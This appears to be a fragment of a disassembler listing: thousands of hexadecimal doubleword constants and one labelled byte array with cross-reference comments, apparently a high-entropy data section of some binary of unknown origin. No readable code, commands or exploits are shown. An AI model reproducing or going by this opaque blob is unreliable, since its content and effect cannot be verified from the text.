9A898A6Ah, 394ECF77h, 0F280D8D9h, 87C798C6h, 0A700BF48h dd 0EFC9F3AEh, 4C4118Ah, 0EE7071F6h, 8F038022h, 7A07AF39h dd 9CE3A0BEh, 0EDA4C300h, 0D10D00E1h, 5D2140CDh, 0BD0720B0h dd 0CAB6BC80h, 5C4D4E90h, 0DD2E3F34h, 0B0D5D0h, 488A846Ch dd 56977BFCh, 0D3B3E001h, 4A9E4E49h, 551370h, 65154217h dd 6C71E6EEh, 0B19A500h, 7DD23D2Bh, 1279CBh, 0C768F750h dd 47F93E39h, 39E88D3Ah, 92087FBh, 0A9F065C2h, 0F36A8Ah dd 70C42263h, 49A0E7E9h, 35385C00h, 0A851E6A5h, 0D15B00AEh dd 9B276240h, 43001159h, 5D42F6C1h, 0E4F3C649h, 0DE23BCDh dd 0C7BA411Eh, 0F04329DEh, 8309228Dh, 805EAD3Eh, 0F185F24Ch dd 710AD2BAh, 4A8A2F81h, 2800A974h, 4F468D4Dh, 0F8D10060h dd 0FDF6745Ah, 4A3E24EEh, 0B4A9809Eh, 0B3FCD3D4h, 0CEA8C007h dd 32AB4023h, 5DDC939h, 68858D9Fh, 545EB8C0h, 7F9C00EBh dd 96F4C1CAh, 17113F2h, 319F5900h, 46B3DCC4h, 0BAE00F9Bh dd 0A440737Bh, 0D6472F62h, 6F2AE500h, 432185DFh, 0F7DD039Eh dd 0B5C41320h, 0D8952DC1h, 5A504F0Bh, 6E0062BCh, 0C6DB5DE9h dd 48DCFA0Eh, 980F4094h, 31E0E7EFh, 84CD432Eh, 5BDD3E00h dd 87E81A6Fh, 3BD7A8Eh, 0B2FE0833h, 1813C1E7h, 90005314h dd 0CB65E062h, 9B71D3Eh, 52EBAACh, 34A60023h, 0D72876BDh dd 0CEA9F607h, 7A01E03Eh, 0B0D8818Eh, 4C4500E2h, 909D2C46h dd 0E30EBA98h, 251F0104h, 0FA80AA7Fh, 1CADB0B7h, 2265DEBh dd 8C23A9D2h, 0A6A8F543h, 1D0084B6h, 5EF27BA7h, 30F4D9D3h dd 4666DD4Eh, 0FA00E79Ah, 8972640h, 70AEF980h, 0AAEA3FC8h dd 4ACC6187h, 4F8B4079h, 0E7008C39h, 89D541FEh, 0FF4926Ch dd 0E4BAC316h, 7BBC9060h, 401C61EFh, 1BC0D7E7h, 1D3B16E5h dd 45F900C9h, 0EEEB29F5h, 0CE3C9FF0h, 0F1870085h, 531A303Eh dd 1E1400EFh, 4EAA685Dh, 0FC4CFF8Eh, 0D400172h, 8246EA21h dd 156CCh, 509FC112h, 0A99893ACh, 0E000E3E0h, 0B0613F63h dd 37D0B1h, 223D49C0h, 72796D83h, 3EA4B402h, 0E06AACC5h dd 74B98Eh, 0F9FF38C4h, 0FC972EEEh, 808A663Bh, 0AFC2C65Ah dd 0C33F9Ch, 427AFBEAh, 359728ABh, 40049E4h, 0BC4379ADh dd 1BFE2h, 766EF1F2h, 0CCB6E3B0h, 2EAE3C00h, 0A54864C5h dd 7B4FA62h, 888DD44Ch, 0EB3BB008h, 5D002EF6h, 505B8402h dd 169328Bh, 4F75AF91h, 0D7AC56B4h, 803983D8h, 14B66700h dd 63F6F08Ah, 11EA1C61h, 0A981C00Bh, 0E4BCD907h, 0E31E2005h dd 6F8AD34h, 0E7708807h, 0DC81F0A3h, 5E0030C5h, 80E22419h dd 48F72Eh, 51CECFEh, 501086AAh, 38453Ah, 3BCDB08Bh, 72374Dh dd 0D623FAE1h, 8EAC4A5Fh, 5258B800h, 39E6F421h, 0E877003Dh dd 0F7C96A7Fh, 8E004CA2h, 0F986EE58h, 1D5EF650h, 0CEA6AF8Bh dd 4DE0052Bh, 0BEEEC5E7h, 0BB871200h, 438E3D4Fh, 6B16481Dh dd 0D7AE7100h, 8B2BDB44h, 3CFF1200h, 0E9785869h, 1EBFE1Fh dd 99AC0CD9h, 0E0BAA410h, 87E39831h, 1E618E70h, 3C9FB93h dd 179B4461h, 0FF98EDCFh, 4260E077h, 3B58A818h, 363F47Ah dd 67B8C784h, 0DD98C4EDh, 68015C52h, 277AACB6h, 0A130FAF7h dd 0C650070h, 0DE3C7CBBh, 153E5508h, 2E8C00F8h, 5002C5D1h dd 130B017Fh, 99E81728h, 2507FC24h, 0B6583200h, 0C20DF76Ah dd 8EE853h, 5D39A965h, 0AE36DA46h, 304AD830h, 8FF6ACh dd 0B166C4B5h, 9D9A4A1h, 4F1C5E09h, 0DD5605B3h, 0DB81BF80h dd 110200D4h dd 8E449BDFh, 92019119h, 376B05F8h, 93E8AA5Fh, 53145C64h dd 397A8100h, 1A6161Eh, 0B5DC5600h, 0F7635232h, 65113E4Ah dd 0BEA670Fh, 59FDA9C0h, 0E9F0030Ch, 5FBEF000h, 55B47F0Ah dd 68A800B3h, 4030729Eh, 4900D417h, 0D1E42116h, 9578BFh dd 2AF64F37h, 45C15D60h, 0B18DC21Eh, 0C56900B8h, 0E98F6276h dd 113B003Ah, 0BC416B3Eh, 53077B9Fh, 64D55948h, 0B8E6B760h dd 0FD40EA6h, 5A205FC6h, 0BDA5A069h, 4D033071h, 344AE4DAh dd 50A8901Bh, 0C9F13C2h, 0C837003Ch, 21727F08h, 0ABDD2A00h dd 4EF1D2B9h, 13C21FFDh, 0C0111E8Eh, 9710D895h, 58009B02h dd 0F9BA857Fh, 7A6C9Ah, 1A8F3959h, 313C922Bh, 0AC871B00h dd 502561B8h, 5CD100DCh, 0F6915373h, 8B76CAD8h, 0B8772100h dd 2C4C1D0Bh, 12EB0093h, 62857836h, 0A7000E5Bh, 8F2E3F3Ch dd 8387FFh, 2C033A6Bh, 18F1106Dh, 235CE704h, 41834774h dd 5F5BD0B0h, 687B0348h, 0EFCE9AD4h, 0B1E195A2h, 0C1BC6025h dd 48586000h, 97E994BDh, 0B7410EEFh, 8C604570h, 0AB7C1AD6h dd 10E53C0Fh, 0A93300EBh, 649049h, 0AE7574B8h, 3124F229h dd 3BE6441Eh, 40A9BF0Fh, 119F5B71h, 0ACA70233h, 0C2DA7DFDh dd 48BE740h, 3DCAA000h, 5967E50Ch, 1B98C003h, 80F4DC54h dd 0B7439F00h, 0A43588C7h, 833207A2h, 80646DF0h, 2A5C0868h dd 78E12E00h, 0C928AF70h, 0B6D2002Bh, 269D6722h, 0BC0ED6C5h dd 60202D92h, 80487358h, 0D9470037h, 5EBA4E3Bh, 9E4118Eh dd 905958h, 8B17E71Fh, 2BAC3Dh, 0E3238750h, 86DAE17Eh dd 25543303h, 17F742h, 6E06DCFAh, 6B807BC4h, 9600D170h dd 3F33044h, 93498Dh, 0E3F17D82h, 47973A48h, 0A9E06800h dd 0B95FE1E6h, 34C0026h, 0AF3E5430h, 320315BAh, 34020747h dd 3525F1E3h, 0E1DC2440h, 0C49100D1h, 7855A6E8h, 0F900EB27h dd 0A3FBB40Eh, 23EA66h, 7B9DF76h, 6DD797A7h, 1D91990Eh dd 3E3D405Ch, 0FEDC4593h, 4946031Eh, 7A82F3EAh, 19648090h dd 6C0E4E00h, 0B8B16FC7h, 0E58900ACh, 82D753B6h, 5F019860h dd 0A33AEA8Bh, 2EC44290h, 767E00F6h, 0DC7BD0E1h, 501E4415h dd 0E61F9429h, 1A32740h, 5B4CC0h, 5932C7CEh, 0FEC399D6h dd 5C2E1500h, 0DAF4010Ah, 0E5840240h, 7E425E73h, 693BC480h dd 65F07111h, 0DE85DA0Fh, 9B6A2036h, 1C735Dh, 0CCC949B8h dd 2B938730h, 6D3FD81Dh, 73F7E680h, 5C7E63A8h, 6A002AA2h dd 0EDFDBCCFh, 2F00A555h, 0B5EB8336h, 2EA71CB3h, 0E0D0F39h dd 1C6811h, 0D4A5364Fh, 0F9609EC6h, 0E03DB811h, 0D9620016h dd 30CE768Fh, 0B4007863h, 0F9AD91D3h, 7514746Dh, 186200E8h dd 0DB2ECFB2h, 8E00AE39h, 0D1970E9Ch, 1B0BDAAh, 0ABA9CD7Ch dd 70F43EFEh, 0BF03B161h, 81DF92DBh, 0C1700F0Ch, 805F86E8h dd 0CF6D5D8Bh, 2C3F310Ah, 9869BB02h, 0C75137A7h, 15651D76h dd 34AC4005h, 0B158BFDAh, 5B0A2807h, 12F09377h, 74B6859h dd 0A7792D0Dh, 91AC902Eh, 2200FF78h, 0E4E61D06h, 0B7D341h dd 0E82984EAh, 0C3830FF5h, 0D118BD73h, 42181745h, 0EA8100EFh dd 1918307Fh, 3C01B87Ch, 0F45660F9h, 57D0D1A5h, 92400F04h dd 0DDC09F7Dh, 2564BE7Fh, 0EC305104h, 30801DDEh, 1077B6Eh dd 3B94EB8Ch, 0D0F52B55h, 3801B23Ah, 99B39A1Fh, 0F04134A0h dd 54DC9403h, 0C0FA3C83h, 7F9B0E01h, 0F0D175FDh, 5D00EC81h dd 0FFF26035h, 0CC7604h, 0FE7BE964h, 274E07Fh, 0D708AB00h dd 0C1B06CA8h, 5EC01FB6h, 0A3F103DBh, 0AE8DA11h, 1D003523h dd 4D733041h, 0F7AFCAh, 90B033B1h, 0B3D4F85Bh, 198F5A00h dd 0ACFCF26Ch, 755AB86Fh, 0A66D01D9h, 4E681832h, 0DFCC41DEh dd 54BA3050h, 79D2BB00h, 0D30893FEh, 10ED0013h, 24E7F85h dd 0AE0F574Ah, 40AC9B4Ch, 82C6354h, 76CEACDh, 0FECC883Ah dd 3C37E066h, 3600E110h, 0C7673E5Eh, 7E92CFBFh, 0CC8B0384h dd 0D4352CDEh, 8F961398h, 0CAFA18C0h, 26FEFCh, 0B5C38D17h dd 95EDC8F1h, 0AC9D9100h, 70B46D53h, 0E77807FFh, 507368E3h dd 72305652h, 4E312E00h, 8A0D1975h, 0FB5C0029h, 4CB71DD6h dd 430096BAh, 5277239Fh, 68F375h, 8BC8D928h, 298EA08Fh dd 15563600h, 78AFDE1Bh, 6CB100BEh, 7A8FBBE9h, 7BE0E551h dd 713CD688h, 0CBF050ABh, 852B009Ah, 0D173B2FAh, 0A798A378h dd 0FE9F6600h, 28394A1Dh, 4B19005Ch, 48D943ECh, 0E0063CDh dd 7E18A534h, 9ABA15h, 6E0C369Eh, 0A1E44103h, 0FA00E270h dd 77A38263h, 0E04211h, 0BECD388Ch, 0AC9008C1h, 0F5400700h dd 1D996E4Ch, 8E0224FDh, 7AFE00B2h, 663BF38Ch, 0D3DCAD00h dd 0C6F82149h, 0E7A4A025h, 0E9E063h, 0C8547F93h, 4E79AB98h dd 66EAC778h, 0AEA78900h, 0FA2F7414h, 0B00400CEh, 0D7BF1B07h dd 57009BC9h, 0ABB129ECh, 56A6D5h, 0A5654A4Ch, 7F1FE8BAh dd 22A84B00h, 52876A48h, 0AE71F2h, 61426EB0h, 0C816B35Eh dd 0D4EE2300h, 6F960D46h, 1B800ABh, 7DD6C338h, 0FD007E16h dd 23F3725Fh, 0F565Eh, 2CAF1981h, 50F7679Ch, 4F340903h dd 0B05AA36Dh, 0FF0B3E2h, 88EC1015h, 0AFEF2C21h, 54DB7049h dd 0FE43C200h, 1FA1C87Ch, 0F2EC03E8h, 1CE55653h, 9272F080h dd 0AC1B8601h, 0A77B8147h, 95E2FCh, 46148DA9h, 18CB3FFBh dd 867FBF00h, 0F23A5797h, 1FF7D09h, 0BACDB7B6h, 70EE6D99h dd 82008E2Eh, 0EF594D66h, 9247784Eh, 4CD70538h, 0E873A7h dd 0E0D6B298h, 0A20009DBh, 12EC0C44h, 0F247C42h, 58871790h dd 38B60600h, 9C7F2F15h, 0EF947900h, 40E89662h, 3CF007DDh dd 9A38302Eh, 1F8400CAh, 0DB4AC519h, 508E0D00h, 99F093F3h dd 9BD20025h, 0A26F2B73h, 0AD00ED6Dh, 5D32DC37h, 0FAD463h dd 0F9587481h, 89BF4EB7h, 1C2B9600h, 1FBD6F76h, 0AA8FC1Dh dd 12D98E44h, 0C0331CE2h, 0A649EAB8h, 80017C6h, 7DDDE96Ah dd 3A9A7Fh, 22061C9Eh, 0F633FABAh, 75EF402h, 0C364569Ch dd 0DF53C2E1h, 14CA34E0h, 30721300h, 0D248D6A4h, 0D75125Fh dd 0A814FDh, 0B8C508EFh, 0DB4B6059h, 0A51DBE3Ah, 0ACC018B3h dd 295B7322h, 0A107240Ah, 9C2810h, 9A03BAEDh, 663A9B41h dd 0E3465200h, 0F03BF9CBh, 2E72D0h, 7BDB0F57h, 0C2E27F97h dd 0BAFB391Ch, 63730140h, 1CECEEh, 61172E58h, 0ADCFA8Bh dd 45A5BC00h, 92774F54h, 7A793Ch, 437BAA76h, 0FCEFB093h dd 2100D271h, 0FE8A390Dh, 0C42914h, 0F02F5BABh, 731FAF36h dd 0C5383CE4h, 496D80F8h, 0E629E8DEh, 763EE84Ah, 8B794Ch dd 0B16B3F0Bh, 0C3941F5Fh, 0FA72A200h, 2FA36E77h, 5B620061h dd 4D78EA1Bh, 7100F9F7h, 6A0590F4h, 9C736Bh, 319BCA62h dd 500DF81Eh, 0B41F52E2h, 238054CBh, 9C0E8F3h, 39E4B8h dd 77C53A93h, 73F64068h, 0F4423Bh, 0E4F8257h, 4CAA51h dd 0CD55D195h, 0CBB17CEDh, 62AB7B01h, 688297A4h, 0F95120h dd 9BD33ECFh, 59CD649Eh, 6E78261Ch, 8DB41EC0h, 0CCC430h dd 18C9BF93h, 7AA96CA7h, 0C8372301h, 0B4BC3864h, 0F660FD30h dd 257C0040h, 509A1953h, 2E16EBB7h, 0B007D473h, 1CC055C6h dd 60CC5788h, 0D6D1301Fh, 9400415Bh, 6955F8FEh, 0AA7CF1h dd 9340FF88h, 98C9C3F5h, 6B95D100h, 0A9025F03h, 0A5E00170h dd 43CF5B6Ch, 25EF6047h, 0DB113E03h, 0D0415D1Ch, 4282FC8h dd 50BC635Fh, 273AC019h, 4A180B77h, 5440FD0Ch, 627B0A04h dd 81149AEFh, 0AD561A0Dh dd 66BF489h, 71733D09h, 0CC4500FEh, 94C5A7h, 724786E6h dd 570AAA0Ch, 61E46E0Fh, 0CB3CA36Ch, 28528074h, 981A502Eh dd 0D61E0053h, 65A1DD12h, 0A400FBD2h, 6DCB10F6h, 32AE23h dd 0DDE6172Dh, 6E986F7Ah, 64F85701h, 0C56BD292h, 1754D4h dd 0F158FC4Fh, 7E2D52D5h, 38408231h, 0CDC42B28h, 0B78D005Ch dd 0E5EC0BAEh, 4F3E0EBBh, 0E77B00A2h, 81596005h, 0E6F830D9h dd 0F0C34D40h, 0A9366A00h, 0DF68B21Dh, 975500D2h, 5FE4838Bh dd 0CC0039E1h, 82119A43h, 0ADDEFDh, 4193A587h, 0A0C11508h dd 4AD76E00h, 362FB96h, 99830E2Fh, 97206D65h, 36BD2B2Dh dd 0AD4E1102h, 0E0A0696Bh, 28CEE7h, 0B782A427h, 0EBCB16D7h dd 52804F50h, 0CD95DB01h, 847E872Ch, 0F835E180h, 3EE9F9B6h dd 18A04400h, 7A2A85ADh, 76B70116h, 0F6DBB265h, 0D6006BAEh dd 0F0F49C33h, 87A63B1Ah, 0B06B2C00h, 0E40B695Bh, 0F7C0B500h dd 0D10CBE97h, 0A9DF01FEh, 5BAE66BDh, 0DDACE8AFh, 2D122C03h dd 0CB580889h, 6B7F044h, 11D11FF4h, 766F4084h, 0BA267719h dd 570D221Fh, 45080819h, 4E6F589Eh, 0CDA02B58h, 92219C80h dd 0A8AC8800h, 36EAEE83h, 0A12501ADh, 78559631h, 3839D36Ah dd 92A3000Fh, 0A4199FD5h, 305FB02Eh, 7C213AA6h, 8E009A02h dd 724C8BFDh, 584F268h, 0EEBD15CCh, 605E8734h, 3D1EC4DEh dd 8BB54001h, 80238413h, 95C830CBh, 0AA06B8A1h, 2B68DE54h dd 52F878E4h, 15C00C42h, 0F0CA2B63h, 6627A100h, 85FF787Eh dd 55C80696h, 81800541h, 26ECBE00h, 959BBD54h, 68B618BAh dd 6F1708E0h, 7C6120C0h, 0A07452h, 0AEF995A2h, 293E903Ah dd 0C1C6F700h, 63C0CC0Ch, 83A90092h, 8A617178h, 3400F20Dh dd 65A631EDh, 0CEB9FDh, 0D084B7D3h, 3F82A2AEh, 91C097F6h dd 1830B12Fh, 49F8F192h, 0DBAB05EAh, 803639BBh, 2C3CFCA7h dd 0C9340B0Eh, 0EB3D4301h, 7915B0D5h, 5796002Ah, 66922FE9h dd 9A004D71h, 6C9048BEh, 0F85AA50Fh, 0B0727CB4h, 2CFE88h dd 0A901EF1Bh, 0CDED7D35h, 0B39CC800h, 99DD4B80h, 120EF81Eh dd 0F412F8Bh, 0BC009D17h, 0DF84926Eh, 7775DC0Eh, 49A96055h dd 3230AD2Eh, 0AA784295h, 1A140495h, 40BED18h, 63C89C03h dd 5CA09DCAh, 0B142BD97h, 2DC880BEh, 85CB2938h, 0C04D11C0h dd 2C5D00E3h, 75F468A7h, 281DCAA3h, 17A3312h, 9385B58Eh dd 56F4E1D6h, 0C39903CBh, 785DC438h, 39881AF8h, 174A2900h dd 0BFCA909Eh, 0F45EB87Ah, 736981Fh, 4A878949h, 0C6A3A082h dd 0AB05F534h, 0B569A117h, 10AC2038h, 80501DDEh, 93B98E92h dd 0FCF73091h, 0DD142C88h, 0F6C83163h, 0AF04A044h, 0E9881E2Fh dd 27D0AF2h, 46970308h, 2980408Fh, 280274A3h, 223C67E3h dd 3E6414Eh, 0FE2352F0h, 0A4EE1C8Fh, 7445E1Bh, 80C1CD68h dd 664AE11h, 0A10C2FE6h, 8998083Bh, 54970F9Bh, 43DF02CDh dd 0DD134643h, 0B431502Ah, 5024FF00h, 0E9A4C016h, 7396002Bh dd 701E76C8h, 323063F7h, 0EF0960A3h, 0B0296055h, 1BBF4DD6h dd 2852715Ch, 0B71E2021h, 35C49B28h, 0C7C1D96h, 218044E1h dd 0F828B420h, 3023E76Bh, 4E8E227h, 77C0C314h, 26B28EE1h dd 1A5E001Eh, 0B2EADBF3h, 4A7339FBh, 0A602541Fh, 503779C0h dd 0FDED93h, 0AD9717B4h, 0A973523Fh, 0F9D6FE01h, 3536C2EFh dd 0E06EBC43h, 3D65DDE1h, 3D0F56DFh, 0CE00B4ACh, 14BA64E2h dd 53AA20A8h, 0FF00797Ch, 3CC795E1h, 2B815h, 6EAF3151h dd 3B8788C6h, 74032478h, 770DD446h, 3308E8A1h, 0B95000C3h dd 0E0A82FBBh, 1B01C1E6h, 490F5BA6h, 18808828h, 8CDA1F6Bh dd 371E9C97h, 0A1077D96h, 0C285F91Dh, 0DCF42030h, 0CBD234Eh dd 0AA3CADE4h, 95DD4A10h, 0D9036008h, 0F18EA478h, 0EB56301Dh dd 0C0A490Eh, 0CDBC8508h, 78F44038h, 578F8564h, 5499E8C1h dd 0F9A35408h, 0EFE0CF9Fh, 0B91E1B2h, 0A4ACA0A0h, 0A090884h dd 0B8419FD8h, 204DFACBh, 0A7FEFD0h, 0D83C993h, 0A0D4D840h dd 0D7403085h, 8E578249h, 898D8560h, 0DE3C001h, 0A8C04FB5h dd 0D4B0000Ah, 0B700C19h, 39013168h, 840DCB53h, 7F02783h dd 612E1D15h, 0CF9F3Bh, 0C9C726F3h, 571E029Eh, 98079BC8h dd 208A77D1h, 0D4CF9EC1h, 541015FAh, 0F191D9F0h, 0F0A23442h dd 0CA6C041Eh, 6B365516h, 0D054DE0Eh, 2ABF6684h, 0F5ACA804h dd 54DD6004h, 75DB08D2h, 84FB4C8Ah, 94C5583Ch, 206CF0FCh dd 0FAA821BCh, 0B1E89A63h, 141F999Dh, 0A140ADB8h, 0BDE438C0h dd 74988F36h, 26BC43C1h, 0E4066EAh, 0CAA77876h, 80A1041Fh dd 19A56F5Ch, 0B4163Dh, 6D62EB27h, 419E0Ch, 56A3329h, 8264B1A8h dd 0FD924B01h, 1C4CA98Ah, 10772048h, 0A880E0D2h, 80FC42FEh dd 5BD9A6A3h, 202E23CEh, 14FF5AE2h, 5A6CC03h, 1A322016h dd 189BCE80h, 56572014h, 0A6940060h, 0EB78F4F3h, 84EF47B2h dd 7E38FEC6h, 415F5A08h, 4BE2F927h, 0B7B30080h, 90DAC739h dd 8E988F2Fh, 0F6459DC1h, 9E0D00C5h, 6206A708h, 0CCED6D61h dd 930F1D26h, 0EEE8029Ch, 1656A1C1h, 4867C480h, 0D5A13080h dd 20A65E0Dh, 0E6731004h, 207C8520h, 3282B987h, 0C797AE81h dd 0CF1C433Ch, 7A92A2ECh, 2140B681h, 6FC0A3D8h, 479495F1h dd 782CC896h, 6A2B566Bh, 0A8C22045h, 61F41CA5h, 91D11811h dd 0C104C4F3h, 910CBF81h, 0BBB7C607h, 0E6ED2C30h, 0F224A604h dd 0B17C0AB5h, 0A4EC3058h, 0AE844CC0h, 20CE5768h, 882F3D85h dd 0AA776D4Ch, 8F3C2683h, 581EE48h, 1FF3BEDCh, 28AF3013h dd 83024188h, 16A8FD36h, 0AC713E2Eh, 64403085h, 0FC23A367h dd 0C4E8E457h, 24888BC8h, 1D50E806h, 0EE7F212Fh, 68334251h dd 0C47273C5h, 0A62078CCh, 0E781FD43h, 0A7B4353h, 5840EE8Ah dd 0F821D269h, 0B4A514Fh, 569E0703h, 2A9C1827h, 2002B614h dd 7CF510A0h, 52A25542h, 0A50140B8h, 0DFAA4F04h, 1A7C2086h dd 0F8120A5h, 2F6174F6h, 60BE211Fh, 65699ED9h, 6021612Bh dd 9C1986C2h, 20B80AC0h, 0F1605378h, 0D6205CA2h, 0EFF89E05h dd 40788477h, 0E1173C1Dh, 5FA0C858h, 2442F38Bh, 8E854EA3h dd 145001E8h, 0EFB21D31h, 82A2E1Eh, 15891678h, 20846765h dd 0AFF96B1h, 52FC5701h, 5EF8BB84h, 18321240h, 8714038h dd 2F8FFCABh, 0A5FF46F8h, 554E0760h, 54A0BABCh, 0F8702FCh dd 83A9AC2Bh, 0E0A0015h, 36708001h, 0DFC2003Eh, 0BF33D1D7h dd 100084F4h, 5450CB7Bh, 14A49FAh, 0E6669DD3h, 60B4FBDBh dd 100F32Bh, 2C4E0685h, 0E24AF16Bh, 820ADD5h, 0A70E882h dd 0B2222B95h, 419EC640h, 71858000h, 5A5720BFh, 89F200F0h dd 0E97C1859h, 0A9007B70h, 0F7FA7E22h, 0D8F96104h, 0F3775068h dd 7E5040D8h, 0E8AB002Bh, 0D1F0C0C7h, 19E8DF30h, 0D7BF4E00h dd 21DA5B1h, 9DD40485h, 40B0F259h, 826FE3EDh, 0AAFF294Fh dd 0A1BF1F20h, 754B01E3h, 57D500C8h, 0CA84F51Ah, 0E6307065h dd 8BD45888h, 7E18DD0Eh, 0C03F2818h, 8D300D9Dh, 690F3116h dd 5C2E001Fh, 18B319FEh, 4C01C9EEh, 0D1B575F8h, 398A219Dh dd 88C13Ch, 0B2D3E2EEh, 3D006210h, 39A0BEFCh, 1D8DD794h dd 801EFD32h, 4EFB20CAh, 0A2008E9Fh, 4AAB5388h, 3F7D897h dd 705819F2h, 503C997Ah, 0BF2E0F2Bh, 0B231E0F0h, 5C537Bh dd 9338F997h, 59E0F51Dh, 1403C8A6h, 0F94C2DDEh, 0F4FBE864h dd 8F77007Dh, 6D53835Fh, 52147130h, 0E41D89h, 0C3E8214Ah dd 0B51CCCh dd 0A75FCA2Fh, 54F9A9Bh, 0DF4C2500h db 6Bh byte_530055 db 0FCh, 0AFh, 0EBh ; DATA XREF: ___:off_437A24o ; ___:off_437A3Co dd 0B2323FCBh, 0F0AD2D15h, 0D7B30077h, 26E9C37h, 62029739h dd 81D4769Dh, 0E3A18FE6h, 0A6D89E53h, 6D5B0048h, 0FD1E06ADh dd 0DB015C85h, 5ECC497Fh, 0C04814ABh, 273D28B5h, 8BE40CE4h dd 791828A5h, 1192F600h, 0A9E19EEh, 5C460E66h, 5DC377h dd 0FCD04EA9h, 5F7B4C69h, 82285775h, 0A880C853h, 0C73CC9E1h dd 5C700C37h, 0FC62185Ah, 5D293071h, 34F5ED28h, 6C3361C0h dd 9090417Eh, 125DFE5Ch, 17964ABh, 0CD2B6528h, 0A5A0872Ch dd 2DA56929h, 775ED000h, 6C9F7EFFh, 0F8781053h, 1ED59300h dd 10820184h, 0E91A0103h, 6C3E2289h, 0A7A84B2Fh, 3AA7C9F1h dd 859DE083h, 8006EDE5h, 73D04495h, 8F9F2AF9h, 2AB5F0FCh dd 0FBB42502h, 49FF9450h, 4A360034h, 3520B10Ah, 0CB05915Ah dd 9E708DD4h, 0C5C1C402h, 13708021h, 6ACBBE8h, 8E05880Fh dd 0DF0218C0h, 7F4D3283h, 438A04A2h, 14F31DC9h, 0E0691838h dd 4099971Ch, 5F70168Fh, 20C01723h, 0F2F47ED5h, 9CA1C01Fh dd 979AE4D8h, 8DAD7F01h, 0D867E82h, 2206043h, 0F957E890h dd 0C8A0C365h, 0AE301968h, 180CC271h, 0E85B5F64h, 0F152685Eh dd 73C10690h, 91E1D2h, 504AA1C0h, 9BA50094h, 852548D8h dd 0CD047F53h, 0ACAB5CE8h, 5A3DA443h, 46B686E0h, 619FF31Eh dd 4E4FF9B0h, 2FB40675h, 3088E174h, 0F6E92D27h, 57F40A7Ch dd 5CDA0788h, 33A2C2FFh, 0FE965869h, 81A9F4A0h, 8248EDD5h dd 21A28924h, 3CF3168Ch, 9A9EFFE4h, 0F5131840h, 804039D3h dd 0F7B81A50h, 3AEA1C00h, 9F668277h, 711D2A85h, 0F44BEEA0h dd 2CBF0972h, 14809EE9h, 0CF778013h, 0FF02860h, 1EDAE7D1h dd 3D863F50h, 6F388700h, 58BDAD72h, 77FF1501h, 0B4F5210Eh dd 0CCE07C31h, 516018DAh, 9E3FA894h, 1CE38524h, 2181DD83h dd 9B303E5Dh, 0CF24F14h, 1D042D08h, 7D18BB95h, 6268E74Ch dd 0F32718h, 1A9CF1A3h, 6BF52600h, 814F8F07h, 41132677h dd 0BC943A78h, 0F7058C85h, 9E910Ch, 64A566A0h, 0F4A8AD2Bh dd 0FE2AF959h, 4A3FA08Fh, 84A3F2E6h, 849C1821h, 48890D4h dd 6042835Bh, 0B8808063h, 0FC717A3Fh, 79125CB0h, 94411605h dd 30F960DDh, 96F28440h, 602250D8h, 66FD01C9h, 675DF452h dd 0F6245C9Dh, 18EBCF30h, 58B360D7h, 0A840A8E2h, 0EDE622D8h dd 0F1FAC908h, 92302127h, 80860308h, 0A93BAF61h, 2B5B8427h dd 3CC4EDF9h, 64D18048h, 5B8CD1EBh, 0F042001h, 2A8784Ch dd 5C6A2D61h, 0E8A4808Bh, 2E05A112h, 120B9C9h, 0AFEC43Eh dd 91C84019h, 0BC986D7Eh, 0C3E80150h, 0E67A420Ch, 5CABC0E3h dd 1919305Dh, 0FF41E8CFh, 0F554C7F7h, 3F3C0E55h, 90478488h dd 0BE8DC3E8h, 9679C061h, 0A30C27F3h, 0D611F743h, 840A92E4h dd 0B083C87h, 2513C155h, 46400885h, 0CAC517DAh, 0E479481Bh dd 30F03F71h, 78CAC568h, 9801786Ah, 90955FB2h, 0DE940424h dd 183B8831h, 9D319828h, 96852128h, 0F01A89FFh, 90E16C4Ch dd 30C36284h, 0E710834Dh, 0B8112476h, 0D65686A0h, 0C23C0F9h dd 0E9F11F81h, 3006949Ch, 0FA33E7C2h, 5656C00Ch, 49089CE6h dd 5F427E8Dh, 848C3356h, 349C2204h, 2CC283Bh, 0F48E233Ch dd 214FF707h, 0E8A3BF88h, 8840CD12h, 6EE9A41h, 0DC855827h dd 4409289h, 0A2737BE5h, 7D2A1CA4h, 6723589Eh, 43293A61h dd 0A3F09FF4h, 5810390Ah, 0CFF4B695h, 0F1388203h, 0FA2C60CEh dd 1D7A00ACh, 0A36256B5h, 0E0007CFBh, 754D2F1Eh, 0FD4DC2Dh dd 2B0EFDE4h, 0DF7E223h, 95D23898h, 6FA36305h, 18020FB2h dd 0FD3DE69h, 6DC63380h, 0E2500E6Ch, 0BB3E25CEh, 770D0087h dd 0F064CB27h, 50F1784Fh, 43A118F8h, 1A7217Ch, 0CF8E8036h dd 9D0EE01Eh, 0D0624400h, 1D7C294Eh, 579305DDh, 43B0573h dd 40ADA66Ch, 9BE1011Bh, 1EDD1C03h, 4331B07Eh, 7C2027F8h dd 0ACC223CFh, 989C5BE2h, 8CAD1A9Ch, 887DA721h, 0D9B1DACDh dd 5F0C06C1h, 437A8646h, 8AC82314h, 9554AA83h, 3C2D82Ah dd 0FD11DD64h, 29798809h, 720F652Dh, 0B830F7A8h, 272A8C40h dd 4B2878CAh, 3C80F4B1h, 8F1C013h, 8D108E11h, 4B8410E0h dd 0FC484A83h, 1187F30Fh, 4D29F901h, 200C22AEh, 8A8BC72Ch dd 0D16CA208h, 2A0923DAh, 0A8CFB3C9h, 0BF054410h, 1FDFE103h dd 8509D848h, 211D7F3Fh, 18AF5E9Ch, 236E43C3h, 0E2258A29h dd 7D7B8A60h, 6603C29Ch, 9C245C42h, 0E66B712Ch, 46EED84Ch dd 11A710ABh, 61CE99C4h, 3116B0Dh, 0E0F64727h, 3638E695h dd 0AFD05300h, 24754341h, 1F28C368h, 200FB2C5h, 0E7C79673h dd 99C0167Fh, 5FD8495h, 50254DAFh, 46F41D1Bh, 30BEF1B1h dd 0AE64C80Ch, 0ACFBD87Eh, 8D9F624h, 717D5922h, 75914363h dd 65AC1030h, 19303EBFh, 0B119928Fh, 0D19B5851h, 40596600h dd 7B01707Ch, 671873C5h, 28807EF8h, 0A7A45763h, 177C7C2Ah dd 0A5192667h, 259AEC0h, 0E5203ECh, 9E274184h, 3E5368Bh dd 18EE7A8h, 8195B000h, 64CCD2A4h, 3F362937h, 50A19E94h dd 25C3B056h, 7E8E262Eh, 9DE0309Ch, 416139D5h, 0EC13E650h dd 1438A891h, 2E146599h, 0B4096725h, 798000B9h, 906B72DEh dd 85781908h, 803D384Ah, 57569349h, 589DC6FAh, 507C0F43h dd 13358855h, 238B77Dh, 61BA2578h, 2D83A890h, 0A4D7A629h dd 3304AF11h, 